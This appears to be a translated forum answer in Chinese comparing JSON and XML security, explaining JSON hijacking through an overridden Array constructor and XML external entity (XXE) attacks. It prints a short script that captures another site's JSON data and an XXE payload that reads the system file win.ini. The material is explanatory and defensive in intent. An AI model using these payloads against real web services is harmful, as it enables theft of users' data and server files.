JSON存在许多安全攻击,尤其是XSRF。
当Web服务使用Cookie进行身份验证,并响应GET请求时,返回包含敏感数据的JSON数组,就会出现漏洞。
如果攻击者可以欺骗已登录naive-webapp.com服务的用户访问他们的网站(或任何嵌入了他们控制的IFRAME的网站,例如通过嵌入广告),则可以插入一个SRC到naive-webapp.com的<script>
标签,并潜在地窃取用户的数据。这取决于JavaScript中Array
构造函数的一个小问题,如下所示:
<script>
var stolenArrays = [];
var RealArray = Array;
Array = function () {
var arr = RealArray.apply(arguments);
stolenArrays.push(arr);
return arr;
}
</script>
<!-- even though the attacker can't access the cookies,
- he can cause the browser to send them to naive-webapp.com -->
<script src="//naive-webapp.com/..."></script>
<script>
// now stolenArrays contains any data from the parsed JSON
</script>
EcmaScript 5修复了令人困惑的行为,导致[]
在全局对象上查找Array
,许多现代浏览器不再容易受到这种攻击。
顺便提一句,Oil错误地认为URL是不可预测的。在URL中使用加密安全的随机标识符是保护资源的好方法。像Oil建议的那样,基于身份的安全措施并非万能药。
请参阅http://waterken.sourceforge.net/,以了解基于在URL中使用加密安全标识符的安全分布式应用程序方案的示例,该方案不需要身份的概念。
编辑:
在考虑JSON与XML时,您也应该注意XML特定的攻击向量。
XXE,即XML外部实体攻击,使用精心制作的XML通过防火墙访问文件系统和网络资源。
<!DOCTYPE root
[
<!ENTITY foo SYSTEM "file:///c:/winnt/win.ini">
]>
...
<in>&foo;</in>
The Application embeds the input (parameter "in", which contains the win.ini file) to the web service response.